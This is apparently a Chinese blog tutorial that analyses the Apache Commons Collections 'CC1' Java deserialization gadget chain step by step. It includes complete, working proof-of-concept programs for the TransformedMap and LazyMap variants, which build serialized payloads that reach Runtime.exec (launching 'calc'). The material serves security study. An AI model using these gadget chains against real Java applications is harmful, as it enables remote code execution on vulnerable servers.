Java反序列化-CC1链
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

说在前面

其他cc链整合起来到时候一块发,现在感觉写的有点乱,先把cc1发出来

简单介绍

CC1全称Commons-Collections1,是利用了Apache Commons项目中的Commons-Collections库的一个反序列化漏洞

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性

环境配置

版本要求:jdk<8u71

CommonsCollections <= 3.2.1

设置maven,配置如下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>CC1</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>CC1 Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
      <dependency>
          <groupId>commons-collections</groupId>
          <artifactId>commons-collections</artifactId>
          <version>3.2.1</version>
      </dependency>
  </dependencies>
  <build>
      <finalName>CC1</finalName>
  </build>
</project>

记得同步maven配置

代码分析

TransformedMap链

链子

AnnotationInvocationHandler类
-> readObject()
-> setValue()

TransformedMap类
-> MapEntry类
->checkSetValue()
-> setValue()

ChainedTransformer类
-> transform(Transformers[])
-> ConstantTransformer类
-> transform(Runtime.class)

InvokerTransformer类
-> transform(Runtime.class)
-> getClass()
-> getMethod()
-> invoke()
->exec()

InvokerTransformer的transform()

漏洞触发点在

org.apache.commons.collections.functors.InvokerTransformer的transfrom方法

链子我们先从出口看InvokerTransformer.transform()可以看到最后是利用到transform()方法做到实现的,我们逐步跟进一下

找到实现此接口的类为InvokerTransformer

重写了transfrom方法,同时也是可序列化的

public Object transform(Object input) {
      if (input == null) {
          return null;
      } else {
          try {
              Class cls = input.getClass();
              Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
              return method.invoke(input, this.iArgs);
          } catch (NoSuchMethodException var4) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
          } catch (IllegalAccessException var5) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
          } catch (InvocationTargetException ex) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
          }
      }
  }
}

很明显的反射调用,对于iMethodNameiParamTypesiArgs我们都是可控的,可以调用任意方法和任意参数,很适合做我们链子的出口

可以先测试一下,跟进看到他的赋值,看到他的构造方法

private InvokerTransformer(String methodName) {
      this.iMethodName = methodName;
      this.iParamTypes = null;
      this.iArgs = null;
  }

该构造方法

methodName:要调用的方法名称(例如 "exec") 存放在实例变量 iMethodName 中,用于后续反射时指定方法名

paramTypes:方法的参数类型数组(例如 new Class[]{String.class}) 存放在 iParamTypes 中,反射调用时需要通过参数类型来定位正确的重载方法

args:实际调用方法时传入的参数值(例如 new Object[]{"calc"}) 存放在 iArgs 中,在 method.invoke() 时作为参数传入

所以我们可以测试一下,利用transfrom方法去调用Runtime类getRuntime对象的exec

import org.apache.commons.collections.functors.InvokerTransformer;


public class TransfromerTest {
  public static void main(String[] args){
      Runtime runtime = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer(
              "exec",
              new Class[]{String.class},
              new Object[]{"calc"}
      );
      invokerTransformer.transform(runtime);
  }
}

查找一下调用tranform()方法的类

另外这里利用反射也是可以的

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.Class;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class poc{
  public static void main(String[] args) throws Exception {
      Runtime rt = Runtime.getRuntime();

      //反射获取InvokerTransformer
      Class c = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
      Constructor ctor = c.getDeclaredConstructor(String.class, Class[].class,Object[].class);
      InvokerTransformer invokerTransformer = (InvokerTransformer) ctor.newInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
      Method m = c.getDeclaredMethod("transform", Object.class);
      m.invoke(invokerTransformer, rt);

  }
}

顺着链子找

TransformedMap的checkSetValue()

protected Object transformValue(Object object) {
      if (valueTransformer == null) {
          return object;
      }
      return valueTransformer.transform(object);
  }

发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()

org.apache.commons.collections.map.TransformedMap 类的 checkSetValue() 方法

    protected Object checkSetValue(Object value) {
      return valueTransformer.transform(value);
  }

只能内部访问,我们跟进valueTransformer看

protected final Transformer valueTransformer;

我们发现valueTransformer也是受保护类型的属性,所以我们就要去找看谁调用了TransformedMap的构造方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
  }

decorate()这个静态方法中创建了TransformedMap对象,同时也是public公共属性

这里我们梳理一下链子

TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()

根据利用链,写一个POC

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.Map;

public class TransformeMapTest {
  public static void main(String[] args) throws Exception {
      Runtime runtime = Runtime.getRuntime();
      InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
      HashedMap hashMap = new HashedMap();

      Map dMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
      //system.out.println(dMap);
      Class<TransformedMap> transformedMapClass = TransformedMap.class;

      //获取私有的方法  
      Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
      method.setAccessible(true);
      method.invoke(dMap, runtime);

  }
}

怎么弹计算器了!由于decorate是静态方法,可以直接类名+方法名调用的

同时set权限,因为checkSetValue是受保护属性

AbstractInputCheckedMapDecorator的setValue()

但是我们知道静态方法是不会自动触发的,所以继续跟进找链子

我们继续跟进checkSetValue(),跟进到setValue()

public Object setValue(Object value) {
          value = parent.checkSetValue(value);
          return entry.setValue(value);

这个构造方法是来自抽象类,TransformedMap 的父类

AbstractInputCheckedMapDecorator类中的一个内部类MapEntry中的setValue()调用了checkSetValue(),同时作为公共方法,可以直接利用的

static class MapEntry extends AbstractMapEntryDecorator {

      /** The parent map */
      private final AbstractInputCheckedMapDecorator parent;

      protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
          super(entry);
          this.parent = parent;
      }

      public Object setValue(Object value) {
          value = parent.checkSetValue(value);
          return entry.setValue(value);
      }
  }

可以看到此构造方法中,Entry代表的事Map中的一个键值对,但是在 MapEntry 中我们可以调用 setValue 方法,这个方法是从其父类 AbstractMapEntryDecorator(实现了 Map.Entry 接口)继承而来的

所以我们跟进他的父类AbstractMapEntryDecorator

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
·····
}

引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue()

所以POC

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class poc{
  public static void main(String[] args) throws Exception {
      Runtime rt = Runtime.getRuntime();

      InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

      HashMap<Object ,Object> map = new HashMap<>();
      Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);

      map.put("key","value");

      for(Map.Entry entry: tm.entrySet()) {
          entry.setValue(rt);
      }
  }
}

可以打断点测试一下,是数组的入口类,会遍历它,所以就会执行setVaue方法

后面就是根据原链子走的了

POC这里

map.put("key","value");
for(Map.Entry entry:tm.entrySet()) {
  entry.setValue(rt);
}

需要调试TransformedMap中没有entrySet方法,但是其继承的父类有

总结一下就是

跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()

MapEntry重写了setValue方法,但是TransformedMap继承了AbstractInputCheckedMapDecorator,所以调用了setValue方法就相当于调用到了checkSetValue()方法

AnnotationInvocationHandler的readObject()

我们接着跟setValue()

终于看到了readobject()

AnnotationInvocationHandler.java

private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
          annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
          // Class is no longer an annotation type; time to punch out
          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) { // i.e. member still exists
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                      new AnnotationTypeMismatchExceptionProxy(
                          value.getClass() + "[" + value + "]").setMember(
                              annotationType.members().get(name)));
              }
          }
      }
  }
memberValue.setValue

找到了这个类的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
      Class<?>[] superInterfaces = type.getInterfaces();
      if (!type.isAnnotation() ||
          superInterfaces.length != 1 ||
          superInterfaces[0] != java.lang.annotation.Annotation.class)
          throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
      this.type = type;
      this.memberValues = memberValues;
  }

接受Class继承于Annotation,在java中他是注释,即@Override

第二个参数是Map类型,可以将TransformedMap传入

对于memberValues可控

问题解决

我们面临的问题是:需要绕过两个if判断才可以执行,同时Runtime无法反序列化因为没有Seriablable接口,但是我们可以打反射

写个dome


import java.lang.reflect.Method;

public class dime {
  public static void main(String[] args) throws Exception {
      Class c =Runtime.class;
      Method method =c.getMethod("getRuntime");//可以跟踪一下可以发现是有return返回的
      Runtime runtime = (Runtime)method.invoke(null,null);//Runtime.getruntime()
      Method run =c.getMethod("exec",String.class);//String是exec参数
      run.invoke(runtime,"calc");//最后调用执行

  }
}

通过查找用法发现ChainedTransformer类下的 transform 方法递归调用了前一个方法的结果,作为后一个方法的参数

反射调用链(getMethod → invoke → exec) 串起来

    public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }

所以可以修改

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class poc {
  public static void main(String[] args) throws Exception {
      Class runtime = Class.forName("java.lang.Runtime");

      Transformer[] Transformer = new Transformer[]{
              new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
              new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
      chainedTransformer.transform(runtime);
  }
}

解决下一个问题:setValue()方法无法执行的原因

要想执行,我们就得过两层if语句,要看这个参数是怎么来的

Class<?> memberType = memberTypes.get(name);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

发现是通过annotationTypes调用了memberTypes方法来的

跟进到annotationTypes

AnnotationType annotationType = null;
      try {
          annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
          // Class is no longer an annotation type; time to punch out
          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }
   
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取一个注解类型实例了,和上面提到的overried

所以他这个type是最后传入到memberTypes方法中的,也就是说这样memberTypes中就可以获取注释里面的值了

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {}

看到getkey()对应的就是我们map传入的键值对,name就是key键

Target 是 Java 注解库中的一个内置注解,属于 java.lang.annotation

接下来是绕过setValue中value不可控,而是指定AnnotationTypeMismatchExceptionProxy 类,无法执行命令

我们利用ConstantTransformer

  public ConstantTransformer(Object constantToReturn) {
      super();
      iConstant = constantToReturn;
  }
   
public Object transform(Object input) {
      return iConstant;
  }

就类似常量了 new ConstantTransformer(Runtime.class) 写入到 transformers数组里, 就是说在最后valueTransformer.transform(value);chainedTransformer.transform(代理object);循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class 达到控制的效果

问题都解决了,最终poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class endpoc {
  public static void main(String[] args) throws Exception {

      //实例化Runtime对象并调用exec方法执行命令
      Transformer[] transformers = new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
              new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

      //Map类的构建和修饰
      HashMap<Object,Object> map = new HashMap<>();
      //满足readObject中Target注解的value方法
      map.put("value","sss");
      Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);

      //遍历map触发setValue方法
      Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class,transformermap);
      serialize(o);
      unserialize("CC1.txt");
  }
  //定义序列化操作
  public static void serialize(Object object) throws Exception{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
      oos.writeObject(object);
      oos.close();
  }

  //定义反序列化操作
  public static void unserialize(String filename) throws Exception{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

所以最终的利用链是

AnnotationInvocationHandler类-> readObject()-> setValue()

TransformedMap类-> MapEntry类->checkSetValue()-> setValue()

ChainedTransformer类-> transform(Transformers[])-> ConstantTransformer类-> transform(Runtime.class)

InvokerTransformer类-> transform(Runtime.class)-> getClass()-> getMethod()-> invoke()->exec()

LazyMap利用链

另一条链子,利用LazyMap是利用其中的get方法中执行factory.transform其中LaZyMap的作用是”懒加载”

public Object get(Object key) {
      // create value for key if key is not currently in the map
      if (map.containsKey(key) == false) {
          Object value = factory.transform(key);
          map.put(key, value);
          return value;
      }
      return map.get(key);
  }

可以看到是他和TransformerMap的利用的区别是存在于TransformMap是通过我们赋值进行链子打入的,但是LazyMap是通过不赋值,而是去触发get方法中的Transform方法去达到调用到此方法的目的

AnnotationInvocationHandler

invoke触发get

同时我们可以知道memberValues是可控的

public Object invoke(Object proxy, Method method, Object[] args) {
      String member = method.getName();
      Class<?>[] paramTypes = method.getParameterTypes();

      // Handle Object and Annotation methods
      if (member.equals("equals") && paramTypes.length == 1 &&
          paramTypes[0] == Object.class)
          return equalsImpl(args[0]);
      if (paramTypes.length != 0)
          throw new AssertionError("Too many parameters for an annotation method");

      switch(member) {
      case "toString":
          return toStringImpl();
      case "hashCode":
          return hashCodeImpl();
      case "annotationType":
          return type;
      }

      // Handle annotation member accessors
      Object result = memberValues.get(member);

      if (result == null)
          throw new IncompleteAnnotationException(type, member);

      if (result instanceof ExceptionProxy)
          throw ((ExceptionProxy) result).generateException();

      if (result.getClass().isArray() && Array.getLength(result) != 0)
          result = cloneArray(result);

      return result;
  }

我们跟进到get方法

  public Object get(Object key) {
      // create value for key if key is not currently in the map
      if (map.containsKey(key) == false) {
          Object value = factory.transform(key);
          map.put(key, value);
          return value;
      }
      return map.get(key);
  }

可以看到可以调用到transform方法,并且factory可控,所以我们可以直接接通链子

所以我们只要触发invoke就可以了,通过AnnotationInvocationHandlerProxy进行代理,readObject`的时候,只要调用任意方法,就能够触发到invoke方法,从而触发get了

Java对象代理

我们需要用到java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑

这里去看了P神的文章,引用一下P神的例子

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
  protected Map map;

  public ExampleInvocationHandler(Map map) {
      this.map = map;
  }

  @Override
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
      if (method.getName().compareTo("get") == 0) {
          System.out.println("Hook method: " + method.getName());
          return "Hacked Object";
      }
      return method.invoke(this.map, args);
  }
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class APP {
  public static void main(String[] args) throws Exception {
      InvocationHandler handler = new ExampleInvocationHandler(new
              HashMap());
      Map proxyMap = (Map)
              Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                      handler);
      proxyMap.put("hello", "world");
      String result = (String) proxyMap.get("hello");
      System.out.println(result);
  }
}

只要调用的方法名为get就返回Hacked Object

所以总结一下

动态代理的本质是:通过 Proxy 在运行时创建一个实现接口的匿名类,并把对接口方法的调用转发给 InvocationHandler 实例的 invoke() 方法

POC

sun.reflect.annotation.AnnotationInvocationHandler 其实就是一个InvocationHandler

如果用AnnotationInvocationHandler去代理我们设计好的Map的话,那么这个Map执行任意的方法都会走invoke从而触发get

所以只要简单的替换就可以,要用AnnotationInvocationHandler对这个proxyMap进行包裹

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Laztpoc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

}
}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇